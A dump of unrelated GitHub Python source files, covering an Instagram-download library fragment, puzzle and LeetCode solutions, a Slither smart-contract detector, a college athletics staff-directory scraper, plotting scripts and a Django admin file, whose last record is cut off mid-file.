its associated story items.\n\n Provides methods for accessing highlight properties, as well as :meth:`Highlight.get_items` to request associated\n :class:`StoryItem` nodes. Highlights are returned by :meth:`Instaloader.get_highlights`.\n\n With a logged-in :class:`Instaloader` instance `L`, you may download all highlights of a :class:`Profile` instance\n USER with::\n\n for highlight in L.get_highlights(USER):\n # highlight is a Highlight object\n for item in highlight.get_items():\n # item is a StoryItem object\n L.download_storyitem(item, '{}/{}'.format(highlight.owner_username, highlight.title))\n\n This class implements == and is hashable.\n\n :param context: :class:`InstaloaderContext` instance used for additional queries if necessary.\n :param node: Dictionary containing the available information of the highlight as returned by Instagram.\n :param owner: :class:`Profile` instance representing the owner profile of the highlight.\n \"\"\"\n\n def __init__(self, context: InstaloaderContext, node: Dict[str, Any], owner: Optional[Profile] = None):\n super().__init__(context, node)\n self._owner_profile = owner\n self._items = None\n\n def __repr__(self):\n return ''.format(self.owner_username, self.title)\n\n @property\n def unique_id(self) -> int:\n \"\"\"A unique ID identifying this set of highlights.\"\"\"\n return int(self._node['id'])\n\n @property\n def owner_profile(self) -> Profile:\n \"\"\":class:`Profile` instance of the highlights' owner.\"\"\"\n if not self._owner_profile:\n self._owner_profile = Profile(self._context, self._node['owner'])\n return self._owner_profile\n\n @property\n def title(self) -> str:\n \"\"\"The title of these highlights.\"\"\"\n return self._node['title']\n\n @property\n def cover_url(self) -> str:\n \"\"\"URL of the highlights' cover.\"\"\"\n return self._node['cover_media']['thumbnail_src']\n\n @property\n def cover_cropped_url(self) -> str:\n \"\"\"URL of the cropped version of the cover.\"\"\"\n return self._node['cover_media_cropped_thumbnail']['url']\n\n def _fetch_items(self):\n if not self._items:\n self._items = self._context.graphql_query(\"45246d3fe16ccc6577e0bd297a5db1ab\",\n {\"reel_ids\": [], \"tag_names\": [], \"location_ids\": [],\n \"highlight_reel_ids\": [str(self.unique_id)],\n \"precomposed_overlay\": False})['data']['reels_media'][0]['items']\n\n @property\n def itemcount(self) -> int:\n \"\"\"Count of items associated with the :class:`Highlight` instance.\"\"\"\n self._fetch_items()\n return len(self._items)\n\n def get_items(self) -> Iterator[StoryItem]:\n \"\"\"Retrieve all associated highlight items.\"\"\"\n self._fetch_items()\n yield from (StoryItem(self._context, item, self.owner_profile) for item in self._items)\n\n\nJsonExportable = Union[Post, Profile, StoryItem]\n\n\ndef save_structure_to_file(structure: JsonExportable, filename: str) -> None:\n \"\"\"Saves a :class:`Post`, :class:`Profile` or :class:`StoryItem` to a '.json' or '.json.xz' file such that it can\n later be loaded by :func:`load_structure_from_file`.\n\n If the specified filename ends in '.xz', the file will be LZMA compressed. Otherwise, a pretty-printed JSON file\n will be created.\n\n :param structure: :class:`Post`, :class:`Profile` or :class:`StoryItem`\n :param filename: Filename, ends in '.json' or '.json.xz'\n \"\"\"\n json_structure = {'node': structure._asdict(),\n 'instaloader': {'version': __version__, 'node_type': structure.__class__.__name__}}\n compress = filename.endswith('.xz')\n if compress:\n with lzma.open(filename, 'wt', check=lzma.CHECK_NONE) as fp:\n json.dump(json_structure, fp=fp, separators=(',', ':'))\n else:\n with open(filename, 'wt') as fp:\n json.dump(json_structure, fp=fp, indent=4, sort_keys=True)\n\n\ndef load_structure_from_file(context: InstaloaderContext, filename: str) -> JsonExportable:\n \"\"\"Loads a :class:`Post`, :class:`Profile` or :class:`StoryItem` from a '.json' or '.json.xz' file that\n has been saved by :func:`save_structure_to_file`.\n\n :param context: :attr:`Instaloader.context` linked to the new object, used for additional queries if neccessary.\n :param filename: Filename, ends in '.json' or '.json.xz'\n \"\"\"\n compressed = filename.endswith('.xz')\n if compressed:\n fp = lzma.open(filename, 'rt')\n else:\n fp = open(filename, 'rt')\n json_structure = json.load(fp)\n fp.close()\n if 'node' in json_structure and 'instaloader' in json_structure and \\\n 'node_type' in json_structure['instaloader']:\n node_type = json_structure['instaloader']['node_type']\n if node_type == \"Post\":\n return Post(context, json_structure['node'])\n elif node_type == \"Profile\":\n return Profile(context, json_structure['node'])\n elif node_type == \"StoryItem\":\n return StoryItem(context, json_structure['node'])\n else:\n raise InvalidArgumentException(\"{}: Not an Instaloader JSON.\".format(filename))\n elif 'shortcode' in json_structure:\n # Post JSON created with Instaloader v3\n return Post.from_shortcode(context, json_structure['shortcode'])\n else:\n raise InvalidArgumentException(\"{}: Not an Instaloader JSON.\".format(filename))\n","repo_name":"wpadala420/osintPeopleSearcher","sub_path":"venv/Lib/site-packages/instaloader/structures.py","file_name":"structures.py","file_ext":"py","file_size_in_byte":42131,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"} +{"seq_id":"16821763482","text":"from src.global_helpers import read_input, read_int_surface\nfrom src.day11.helpers import increase_level\n\n\ndef main():\n lines = read_input(11, 1)\n\n surface = read_int_surface(lines)\n\n step = 0\n all_flashed = False\n while not all_flashed:\n step += 1\n increase_level(surface, surface.points_coords())\n\n for c in surface.points_coords():\n if surface[c] > 9:\n surface[c] = 0\n\n all_flashed = all([surface[c] == 0 for c in surface.points_coords()])\n\n return step\n\n\nif __name__ == \"__main__\":\n print(main())\n","repo_name":"psousa50/advent-of-code-2021","sub_path":"src/day11/part_2.py","file_name":"part_2.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"35419926021","text":"from typing import List, Optional\nfrom slither.core.cfg.node import NodeType, Node\nfrom slither.core.declarations import Contract, Function\nfrom slither.core.variables import StateVariable\nfrom slither.core.variables.local_variable import LocalVariable\nfrom slither.detectors.abstract_detector import AbstractDetector, DetectorClassification\nfrom slither.slithir.operations import SolidityCall, InternalCall, HighLevelCall, Assignment, Return\nfrom slither.utils.output import Output\n\nclass StorageLoad():\n def __init__(self, storage_var: StateVariable, derived_vars: List[LocalVariable]):\n self.storage_var = storage_var\n self.derived_vars = derived_vars\n\n def addDerived(self, memory_var: LocalVariable):\n self.derived_vars.append(memory_var)\n\n def __str__(self): # debug\n return 'SV:' + str(self.storage_var) + \" - DV: \" + str(list(map((lambda x: x.name), self.derived_vars)))\n\nclass Context():\n def __init__(self, header_returns, visited: List[Node], vars_state_load: List[StorageLoad],\n local_clusters: List[List[LocalVariable]]):\n self.header_returns = header_returns # e.g. function f() returns (address a)\n self.visited = visited\n self.vars_state_load = vars_state_load\n self.local_clusters = local_clusters # clusters of local vars assigned together\n\n def __str__(self): # debug\n return 'visited' + str(self.visited)\n\n\nexclude_contracts = [\n \"BaseUpgradeabilityProxy\", \"Ownable\" # Slither doesn't decode inline assembly for older solidity versions - e.g. here we can't detect sstore\n]\n# widespread false positives\nexclude_funcs = [\"constructor\", \"fallback\"]\n# partial (LIKE %x%)\nexclude_funcs_partial = [] \n\nexclude_local_vars = [\"position\", \"slot\", # sstore old solidity\n \"success\"] # unused vars are not in scope here\n\ndef check_contract(c: Contract) -> List[StorageLoad]:\n results_raw: List[StorageLoad] = []\n\n if c.name in exclude_contracts:\n return results_raw\n\n # skip test contracts\n if any( x in c.name for x in [\"Test\", \"Mock\"]): \n return results_raw\n\n # to filter constructors for old solidity versions\n inherited_contracts = get_inherited_contracts(c) + [c.name] \n\n # filter unwanted funcs (also checked later recursively for nested calls)\n to_inspect = (x for x in c.functions if (\n # filter banned functions and old solc constructors\n x.name not in (exclude_funcs + inherited_contracts) and \n not any( x.name in y for y in exclude_funcs_partial) and\n x.is_implemented and\n not x.pure and \n not x.view))\n\n for f in to_inspect: \n hits = check_function(f.entry_point, Context(f.returns, [], [], []))\n if len(hits):\n results_raw += hits\n return results_raw\n\n\ndef check_function(node: Optional[Node], ctx: Context)-> List[StorageLoad]:\n if node is None:\n return []\n\n if node in ctx.visited:\n return []\n ctx.visited.append(node)\n \n # check load from storage\n if node.type in [NodeType.VARIABLE, NodeType.EXPRESSION]: \n local_stored = [v for v in node.local_variables_written if v.name not in exclude_local_vars] \n state_stored = node.state_variables_written\n local_read = [v for v in node.local_variables_read if v.name not in exclude_local_vars]\n state_read = node.state_variables_read\n\n if len(state_stored):\n # check if mem vars get stored back\n for sv in state_stored:\n for vsl in ctx.vars_state_load[:]:\n if vsl.storage_var == sv: \n ctx.vars_state_load.remove(vsl) \n # also remove local variables read\n for lv in local_read:\n ctx = remove_if_loaded(ctx, lv)\n else:\n for lv in local_stored:\n # skip local storage variables written\n if lv.is_storage:\n continue\n # tie together the local variables assigned together (e.g. result of external call returning multiple values)\n # they'll be all removed once any of them is removed (unused vars can lead to vulns, but it's mostly noise and it's not the scope here)\n if len(state_read) and len(local_stored) > 1:\n ctx.local_clusters.append(local_stored) \n # add new storage read, even if not direct\n for sv in state_read:\n ctx.vars_state_load.append(StorageLoad(sv, [lv]))\n # add new reference to loaded var \n for lvr in local_read:\n if lv == lvr:\n continue \n for vsl in ctx.vars_state_load[:]:\n if lvr in vsl.derived_vars:\n vsl.addDerived(lv)\n # remove derived used (read)\n for lv in local_read:\n ctx = remove_if_loaded(ctx, lv)\n\n # check function calls parameters, or highlevelcall destination\n for ir in node.irs:\n if isinstance(ir, InternalCall) or isinstance(ir, HighLevelCall):\n if isinstance(ir, HighLevelCall):\n if isinstance(ir.destination, LocalVariable):\n # remove loaded\n ctx = remove_if_loaded(ctx, ir.destination)\n else: # destination is derived, use local_read to get it and purge\n local_read = node.local_variables_read\n for lv in local_read:\n ctx = remove_if_loaded(ctx, lv)\n # get params, remove from vars_state_load\n call_args = ir.arguments\n for arg in call_args:\n ctx = remove_if_loaded(ctx, arg)\n\n # check if a derived var is used in an if or require statement or sstore\n if node.type in [NodeType.IF, NodeType.IFLOOP, NodeType.RETURN] or is_solidity_call(node):\n local_read = node.local_variables_read\n # remove derived if any\n for lvr in local_read:\n ctx = remove_if_loaded(ctx, lvr)\n\n if not len(node.sons):\n # clean results from header returns\n for hr in ctx.header_returns:\n ctx = remove_if_loaded(ctx, hr)\n return ctx.vars_state_load\n\n # keep the vars not solved in any of the sons\n intersection = None\n for son in node.sons:\n son_vars = check_function(son, ctx)\n if not intersection:\n intersection = son_vars\n else:\n # remove the ones not present in sons\n for vsl in intersection[:]:\n if not has_same_storage_in_list(vsl, son_vars):\n intersection.remove(vsl)\n ctx.vars_state_load = intersection # vars not solved in any son\n return ctx.vars_state_load\n\ndef has_same_storage_in_list(vsl, list) -> bool:\n for v in list:\n if v.storage_var == vsl.storage_var:\n return True\n return False\n\ndef remove_if_loaded(ctx: Context, memory_var):\n # get other vars to remove by looking into local_clusters\n to_remove = [memory_var]\n for cluster in ctx.local_clusters:\n if memory_var in cluster:\n for cl_mv in cluster:\n if not cl_mv in to_remove:\n to_remove.append(cl_mv)\n\n for vsl in ctx.vars_state_load[:]:\n if any(x in vsl.derived_vars for x in to_remove):\n ctx.vars_state_load.remove(vsl)\n return ctx\n\n# checks if a node is a solidity call e.g. require\ndef is_solidity_call(node: Node) -> bool:\n for ir in node.irs:\n if isinstance(ir, SolidityCall):\n return True\n return False\n\n\ndef get_inherited_contracts(contract: Contract) -> List[str]:\n return list(x.name for x in contract.inheritance)\n\nclass LoadNotStore(AbstractDetector):\n\n ARGUMENT = \"load-not-store\"\n HELP = \"-\"\n IMPACT = DetectorClassification.HIGH\n CONFIDENCE = DetectorClassification.LOW\n\n WIKI = \"-\"\n\n WIKI_TITLE = \"-\"\n WIKI_DESCRIPTION = \"-\"\n\n # region wiki_exploit_scenario\n WIKI_EXPLOIT_SCENARIO = \"www\"\n\n WIKI_RECOMMENDATION = \"-\"\n\n def _detect(self) -> List[Output]:\n \"\"\"\"\"\"\n results_raw: List[StorageLoad] = []\n results: List[Output] = []\n for c in self.compilation_unit.contracts_derived:\n results_raw += check_contract(c)\n\n for sl in results_raw:\n info = [\n f\"Found unused memory vars '\",\n *sl.derived_vars,\n \"' loaded from storage var '\",\n sl.storage_var,\n \"'\\n\"\n ]\n res = self.generate_result(info)\n results.append(res)\n\n return results \n\n","repo_name":"choco-cupcake/GoodBoi","sub_path":"custom_detectors/load_not_store.py","file_name":"load_not_store.py","file_ext":"py","file_size_in_byte":7939,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"72"} +{"seq_id":"23774722251","text":"'''\nLongest Increasing Subsequence\n\nGiven an integer array nums, return the length of the longest strictly increasing subsequence.\n\nA subsequence is a sequence that can be derived from an array by deleting some or no elements without changing the order of the remaining elements. For example, [3,6,2,7] is a subsequence of the array [0,3,1,6,2,2,7].\n\n \n\nExample 1:\n\nInput: nums = [10,9,2,5,3,7,101,18]\nOutput: 4\nExplanation: The longest increasing subsequence is [2,3,7,101], therefore the length is 4.\n\nExample 2:\n\nInput: nums = [0,1,0,3,2,3]\nOutput: 4\n\nExample 3:\n\nInput: nums = [7,7,7,7,7,7,7]\nOutput: 1\n\n \n\nConstraints:\n\n 1 <= nums.length <= 2500\n -104 <= nums[i] <= 104\n\n \n\nFollow up: Can you come up with an algorithm that runs in O(n log(n)) time complexity?\n'''\nfrom bisect import bisect_left\nclass Solution:\n def lengthOfLIS(self, nums: [int]) -> int:\n sub = []\n for num in nums:\n i = bisect_left(sub, num)\n\n # If num is greater than any element in sub\n if i == len(sub):\n sub.append(num)\n \n # Otherwise, replace the first element in sub greater than or equal to num\n else:\n sub[i] = num\n \n return len(sub)\n\nnums = [10,9,2,5,3,7,101,18]\n# Output: 4\n\n# nums = [0,1,0,3,2,3]\n# # Output: 4\n\n# nums = [7,7,7,7,7,7,7]\n# # Output: 1\n\ns = Solution()\nprint(s.lengthOfLIS(nums))\n","repo_name":"jomesh18/Leetcode","sub_path":"Leetcode_challenge/2021/7.July 2021/9.lengthOfLIS.py","file_name":"9.lengthOfLIS.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15906100935","text":"from pyquery import PyQuery as pq\nimport scraper\nimport constants\n\nsports = { \"Baseball\" : constants.BASEBALL, \"Men's Basketball\" : constants.MENS_BASKETBALL,\n \"Women's Basketball\" : constants.WOMENS_BASKETBALL, \"Cheerleading\" : constants.CHEERLEADING,\n \"Men's Cross Country\" : constants.MENS_CROSS_COUNTRY, \"Women's Cross Country\" : constants.WOMENS_CROSS_COUNTRY,\n \"Fencing\" : [constants.MENS_FENCING, constants.WOMENS_FENCING],\n \"Football\" : constants.FOOTBALL,\n \"Men's Golf\" : constants.MENS_GOLF, \"Women's Golf\" : constants.WOMENS_GOLF,\n \"Hockey\" : constants.MENS_ICE_HOCKEY, \"Men's Lacrosse\" : constants.MENS_LACROSSE,\n \"Women's Lacrosse\" : constants.WOMENS_LACROSSE, \"Rowing\" : constants.WOMENS_ROWING,\n \"Men's Soccer\" : constants.MENS_SOCCER, \"Women's Soccer\" : constants.WOMENS_SOCCER,\n \"Softball\" : constants.SOFTBALL,\n \"Men's Swimming & Diving\" : constants.MENS_SWIMMING_DIVING, \"Women's Swimming & Diving\" : constants.WOMENS_SWIMMING_DIVING,\n \"Men's Tennis\" : constants.MENS_TENNIS, \"Women's Tennis\" : constants.WOMENS_TENNIS,\n \"Track & Field\" : [constants.MENS_TRACK_FIELD, constants.WOMENS_TRACK_FIELD],\n \"Volleyball\" : constants.WOMENS_VOLLEYBALL }\n \n\nprint (\"Scraping Notre Dame\")\ncxn = scraper.get_connection()\ncollege = scraper.get_college(cxn, \"Notre Dame\")\nd = pq(url=college[1])\nfor key, sport in sports.items():\n print (sport);\n title = d('b:contains(\"' + key + '\")')\n info_row = title.parent().parent().next()\n while info_row.children().length > 1 and info_row.children().length < 5:\n scraper.parse_row(cxn, college[0], college[1], sport, info_row.children(), [\"name\", \"title\", \"phone\", \"email\"],\n {'phone_prefix' : \"(574) \"})\n info_row = info_row.next()\n\nscraper.close_connection(cxn)\n","repo_name":"paul-obrien/gca","sub_path":"scrapers/notre_dame.py","file_name":"notre_dame.py","file_ext":"py","file_size_in_byte":1900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"39360558040","text":"\"\"\"\nEscreva um algoritmo que recebe uma frase como valor de entrada do usuário e imprima somente os índices das posições ocupadas por vogais.\nA impressão deverá ser feita por procedimento que recebe parâmetros.\n\"\"\"\n\nlista = list(input(\"Digite Texto: \"))\n\nfor v in lista:\n if v.lower() in 'aeiou':\n x = lista.index(v)\n print(\"A vogal: \" + str(v) + \" está na posição \" + str(x))\n","repo_name":"ammorei/python-utd","sub_path":"modulo_3/q10.py","file_name":"q10.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"22714794907","text":"import pandas as pd \nimport numpy as np\nimport matplotlib.pyplot as plt \n\ndf= pd.read_csv(\"20181128_idx.csv\")\nprint(df.values.shape)\nchk_len = (df.values.shape[1]- 1) # how many times of check per day \ndata= df.values[:, 1:] # all except 1st col (col0)\ntime= df.values[:, 0] # 1st col (col0), which are dates\n\nnew_time= []\nfor i in time: \n for j in range(chk_len):# repeat 7 date \n new_time.append(i+ \"-\"+ str(j)) # its new_time, not time!\n\nnew_data= data.ravel() # multi dimensions into 1\n# forward-fill gap with NaN. limit=6 meaning 6 NaN\nnew_data= pd.Series(new_data).fillna(limit= 6, method= 'ffill')\n# print(new_data) # you can see the missing NaN replaced\n\n# fig= plt.figure(figsize= (16, 4))\nfig, ax= plt.subplots(figsize= (16, 4))\nax.grid(True)\nax.plot(new_time, new_data)\nfig.autofmt_xdate()\n\n# reduce tick density to 1/7\n# ax.locator_params(nbins= 40, axis= 'new_time')\nax.set_xticks(new_time[::21]) # every 3 days. each day has 7 data\n# ax.set_xticklabels(new_time[::14])\n\nplt.show()\n","repo_name":"j3ffyang/ai","sub_path":"scripts/idx/22plot_ravel_2loops_nanfill_tickreduce.py","file_name":"22plot_ravel_2loops_nanfill_tickreduce.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"72340730792","text":"# -*- coding: utf-8 -*-\nfrom libcnmc.core import StopMultiprocessBased\nfrom libcnmc.utils import tallar_text, format_f\nfrom datetime import datetime\nimport traceback\n\nZONA = {\n 'RURAL CONCENTRADA': 'RC',\n 'RURAL DISPERSA': 'RD',\n 'URBANA': 'U',\n 'SEMIURBANA': 'SU'\n}\n\n\nclass FA5(StopMultiprocessBased):\n\n def __init__(self, **kwargs):\n super(FA5, self).__init__(**kwargs)\n self.year = kwargs.pop('year', datetime.now().year - 1)\n self.codi_r1 = kwargs.pop('codi_r1')\n self.report_name = 'Formulario A5: Información relativa a la energia intercambiada en los puntos frontera'\n self.base_object = 'Punt frontera'\n\n def get_sequence(self):\n O = self.connection\n ids_tipus = O.GiscedataPuntFronteraTipus.search([('retribucio', '=', True)])\n ids = O.GiscedataPuntFrontera.search([('tipus', 'in', ids_tipus)])\n return ids\n\n def consumer(self):\n O = self.connection\n fields_to_read = ['element', 'name', 'zona', 'tipus_frontera', 'tensio_id', 'codigo_empresa',\n 'codigo_frontera_dt']\n while True:\n try:\n item = self.input_q.get()\n if item == 'STOP':\n self.input_q.task_done()\n break\n self.progress_q.put(item)\n punt_frontera = O.GiscedataPuntFrontera.read(item, fields_to_read)\n\n # IDENTIFICADOR\n o_identificador = ''\n if punt_frontera.get('element', False):\n element = punt_frontera['element']\n element = element.split(',')\n model = element[0]\n obj_id = int(element[1])\n model_obj = O.model(model)\n\n identificador = model_obj.read(obj_id, ['name'])\n if identificador.get('name', False):\n o_identificador = str(identificador['name'])\n\n # DENOMINACIÓN\n o_denominacion = ''\n if punt_frontera.get('name', False):\n o_denominacion = punt_frontera['name']\n\n # ZONA\n o_zona = ''\n if punt_frontera.get('zona', False):\n o_zona = punt_frontera['zona'].upper()\n\n # TIPO FRONTERA\n o_tipo_frontera = ''\n if punt_frontera.get('tipus_frontera', False):\n o_tipo_frontera = punt_frontera['tipus_frontera'].upper()\n\n # TENSIÓN\n o_tension = '0,000'\n if punt_frontera.get('tensio_id', False):\n o_tension = format_f(float(punt_frontera['tensio_id'][1]) / 1000, 3)\n\n # ENERGIA ACTIVA ENTRANTE\n fields_to_read_energia = [\n 'data_inicial', 'data_final', 'activa_entrant', 'activa_sortint', 'reactiva_entrant',\n 'reactiva_sortint'\n ]\n energia_obj = O.GiscedataPuntFronteraMesures\n energia_ids = energia_obj.search([('punt_frontera_id', '=', item)])\n energia_data = energia_obj.read(energia_ids, fields_to_read_energia)\n\n o_energia_activa_entrante = 0.0\n o_energia_activa_saliente = 0.0\n o_energia_reactiva_entrante = 0.0\n o_energia_reactiva_saliente = 0.0\n inici_any = '{}-01-01'.format(self.year)\n fi_any = '{}-12-31'.format(self.year)\n\n for energia in energia_data:\n if inici_any <= energia['data_inicial'] <= fi_any and inici_any <= energia['data_final'] <= fi_any:\n if energia.get('activa_entrant', False):\n o_energia_activa_entrante += energia['activa_entrant']\n if energia.get('activa_sortint', False):\n o_energia_activa_saliente += energia['activa_sortint']\n if energia.get('reactiva_entrant', False):\n o_energia_reactiva_entrante += energia['reactiva_entrant']\n if energia.get('reactiva_sortint', False):\n o_energia_reactiva_saliente += energia['reactiva_sortint']\n\n # CÓDIGO EMPRESA\n o_codigo_empresa = ''\n if punt_frontera.get('codigo_empresa', False):\n participant_obj = O.GiscemiscParticipant\n participant_id = punt_frontera['codigo_empresa'][0]\n participant_data = participant_obj.read(participant_id, ['ref2'])\n if participant_data.get('ref2', False):\n o_codigo_empresa = participant_data['ref2']\n\n # CÓDIGO FRONTERA DT\n o_codigo_frontera_dt = ''\n if punt_frontera.get('codigo_frontera_dt', False):\n o_codigo_frontera_dt = punt_frontera['codigo_frontera_dt']\n\n self.output_q.put([\n tallar_text(o_identificador, 22), # IDENTIFICADOR\n o_denominacion, # DENOMINACIÓN\n o_zona, # ZONA\n o_tipo_frontera, # TIPO FRONTERA\n o_tension, # TENSIÓN\n format_f(o_energia_activa_entrante, decimals=3) or '0,000', # ENERGIA ACTIVA ENTRANTE\n format_f(o_energia_activa_saliente, decimals=3) or '0,000', # ENERGIA ACTIVA SALIENTE\n format_f(o_energia_reactiva_entrante, decimals=3) or '0,000', # ENERGIA REACTIVA ENTRANTE\n format_f(o_energia_reactiva_saliente, decimals=3) or '0,000', # ENERGIA REACTIVA SALIENTE\n o_codigo_empresa, # CÓDIGO EMPRESA\n o_codigo_frontera_dt, # CÓDIGO EMPRESA\n ])\n self.input_q.task_done()\n except Exception:\n self.input_q.task_done()\n traceback.print_exc()\n if self.raven:\n self.raven.captureException()\n","repo_name":"gisce/libCNMC","sub_path":"libcnmc/cir_8_2021/FA5.py","file_name":"FA5.py","file_ext":"py","file_size_in_byte":6335,"program_lang":"python","lang":"es","doc_type":"code","stars":5,"dataset":"github-code","pt":"72"} +{"seq_id":"27075271546","text":"'''\nCreated on Nov 21, 2017\n\n@author: Joey Whelan\n'''\n\nimport random\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport math\n\ndef simulation(numIters):\n \"\"\"Calculates an approximation to e via the Monte Carlo method\n \n Args:\n text: Number of iterations\n \n Returns:\n Approximation to e\n \n Raises:\n None\n \"\"\"\n nsum = 0\n for _ in range(numIters):\n xsum = 0\n n = 0\n while xsum < 1:\n x = random.uniform(0,1)\n xsum = xsum + x \n n = n + 1\n \n nsum = nsum + n\n \n return nsum/numIters\n\nif __name__ == '__main__': \n random.seed()\n \n results = {}\n for numIters in [10,100,1000,10000,100000,1000000]:\n ans = simulation(numIters)\n results[numIters] = ans\n \n frame = pd.DataFrame(data=list(results.items()), columns=['Iterations', 'Result'])\n frame['PctError'] = ((frame['Result'] - math.e) / math.e).abs() * 100\n del frame['Result']\n frame.sort_values(by='Iterations', inplace=True)\n frame.reset_index(inplace=True, drop=True)\n print(frame)\n frame.plot(x='Iterations', y='PctError', kind='bar', title='Monte Carlo e Calculation', color=['g'])\n plt.show()\n","repo_name":"joeywhelan/montecarlo","sub_path":"ecalc.py","file_name":"ecalc.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"1896876839","text":"#data 입력받기\nN, M = map(int, input().split())\nx, y, direction = map(int, input().split())\n\narray =[]\nfor i in range(N):\n array.append(list(map(int, input().split())))\n\nhistory = [[0] * M for _ in range(N)] # 방문한 위치 저장\nhistory[x][y] = 1 #초기위치 방문처리\n\ndx = [-1, 0, 1, 0]\ndy = [0, 1, 0, -1] \n\n\ndef turn_left(): # 회전하는 함수\n global direction\n direction -= 1\n if direction == -1:\n direction = 3\n\ncount = 1\nturn_time = 0\nwhile True:\n #회전하여 그 앞칸 확인해보기\n turn_left()\n nx = x + dx[direction]\n ny = y + dy[direction]\n \n #4방향 확인\n if history[nx][ny] == 0 and array[nx][ny] == 0: #아직 방문하지 않았고, 육지라면 이동후 update\n history[nx][ny] = 1\n x = nx\n y = ny\n count += 1\n turn_time = 0\n continue\n else: # 가보지 않은 칸이 없거나 바다인 경우\n turn_time += 1\n \n if turn_time == 4: # 4방향 다 확인햇는데 이동이 없다\n nx = x - dx[direction]\n ny = y - dy[direction] # 한칸 뒤로 가볼까\n # 뒤로 갈 수 있다면 \n if array[nx][ny] == 0:\n x = nx\n y = ny\n # 뒤가 바다로 막혀 있는 경우\n else:\n break # 게임종료 끝\n \n turn_time = 0 # 뒤로가서 다시 시작\n\nprint(count)\n\n\n","repo_name":"sanha-hwang/Coding_test","sub_path":"구현/구현_게임개발.py","file_name":"구현_게임개발.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18294374394","text":"import threading\n\nclass Messenger(threading.Thread):\n def run(self):\n for _ in range(10):\n print(threading.current_thread().getName())\n\nsend = Messenger(name=\"Sending out messages\")\nreceive = Messenger(name=\"Receiving Messages\")\n\nsend.start()\nreceive.start()","repo_name":"psypig99/pyLec","sub_path":"py3_tutorials/basic/031_threading.py","file_name":"031_threading.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"14842235712","text":"import pytest\nimport numpy as np\n\nfrom nems.preprocessing.normalization import minmax, undo_minmax\n\n\nclass TestMinmax:\n\n def test_min_equal_max(self):\n # pathological case, just don't want this to throw an error\n x = np.zeros(shape=(10,))\n y, _, _ = minmax(x)\n\n def test_already_normalized(self):\n x = np.zeros(shape=(10,))\n x[-1] = 1\n y, _, _ = minmax(x)\n assert np.all(x == y) # no change, already had min 0 max 1\n\n def test_warn_nan(self):\n x = np.array([1, 2, 3, np.nan, 5])\n with pytest.warns(RuntimeWarning):\n y, _min, _max = minmax(x, warn_on_nan=True)\n # All should match except nan\n match = (y == np.array([0, 1/4, 2/4, np.nan, 1]))\n assert np.sum(match) == 4\n assert match[3] == False\n # Min, max should not be changed by presence of nan\n assert _min[0] == 1\n assert _max[0] == 4\n\n def test_dtype_error(self):\n x = np.arange(10)\n with pytest.raises(np.core._exceptions.UFuncTypeError):\n # Error due to integer dtype\n y, _, _ = minmax(x)\n\n x = x.astype(np.float16)\n # But any float dtype should be fine\n y, _, _ = minmax(x)\n\n def test_data(self, spectrogram, response):\n s, s_min, s_max = minmax(spectrogram)\n assert s.shape == spectrogram.shape\n assert s_min.shape == (1, spectrogram.shape[-1])\n assert not np.shares_memory(s, spectrogram)\n \n r, r_min, r_max = minmax(response)\n assert r.shape == response.shape\n assert r_min.shape == (1, response.shape[-1])\n assert not np.shares_memory(r, response)\n\n def test_inplace(self):\n x = np.random.rand(10, 2)\n y, _, _ = minmax(x, inplace=True)\n assert y.shape == x.shape\n assert np.shares_memory(x,y)\n\n def test_undo(self):\n x = np.random.rand(10,2)\n y, _min, _max = minmax(x, floor=0)\n z = undo_minmax(y, _min, _max) # undo normalization\n assert np.allclose(z, x)\n\n # Should also work for other shapes\n x2 = np.random.rand(10,)\n y2, _min2, _max2 = minmax(x2, floor=0)\n z2 = undo_minmax(y2, _min2, _max2)\n assert np.allclose(z2, x2)\n\n x3 = np.random.rand(5, 10, 3, 8)\n y3, _min3, _max3 = minmax(x3, floor=0)\n z3 = undo_minmax(y3, _min3, _max3)\n assert np.allclose(z3, x3)\n\n def test_floor(self):\n x = np.array([0, 0.99, 100]) # -> [0, 0.009, 1]\n floor = 0.01 # -> [0, 0, 1]\n y, _min, _max = minmax(x, floor=floor) # 1 value is clipped\n z = undo_minmax(y, _min, _max) # -> [0, 0, 100]\n assert np.allclose(x, z, atol=floor*_max) # 0.99 <= floor*_max=1\n","repo_name":"LBHB/NEMS","sub_path":"tests/preprocessing/test_normalization.py","file_name":"test_normalization.py","file_ext":"py","file_size_in_byte":2798,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"72"} +{"seq_id":"24934849305","text":"from adminsortable2.admin import SortableAdminMixin, SortableInlineAdminMixin\nfrom django.contrib import admin\nfrom django.contrib.admin.options import ModelAdmin\nfrom django.utils.html import format_html\n\nfrom core.models import (About, Carousel, Contact, ContactEmail, ContactNumber,\n Package, PackageFeature, Portfolio, PortfolioImage,\n Product, Service, Social, Testimonial, WebsiteConfig)\n\n\nclass PortfolioImageAdmin(SortableInlineAdminMixin, admin.StackedInline):\n model = PortfolioImage\n\n\n@admin.register(Portfolio)\nclass PortfolioAdmin(SortableAdminMixin, admin.ModelAdmin):\n\n list_display = (\n '__str__',\n 'is_published'\n )\n inlines = (PortfolioImageAdmin, )\n\n\nclass ContactEmailAdmin(SortableInlineAdminMixin, admin.StackedInline):\n model = ContactEmail\n\n\nclass ContactNumberAdmin(SortableInlineAdminMixin, admin.StackedInline):\n model = 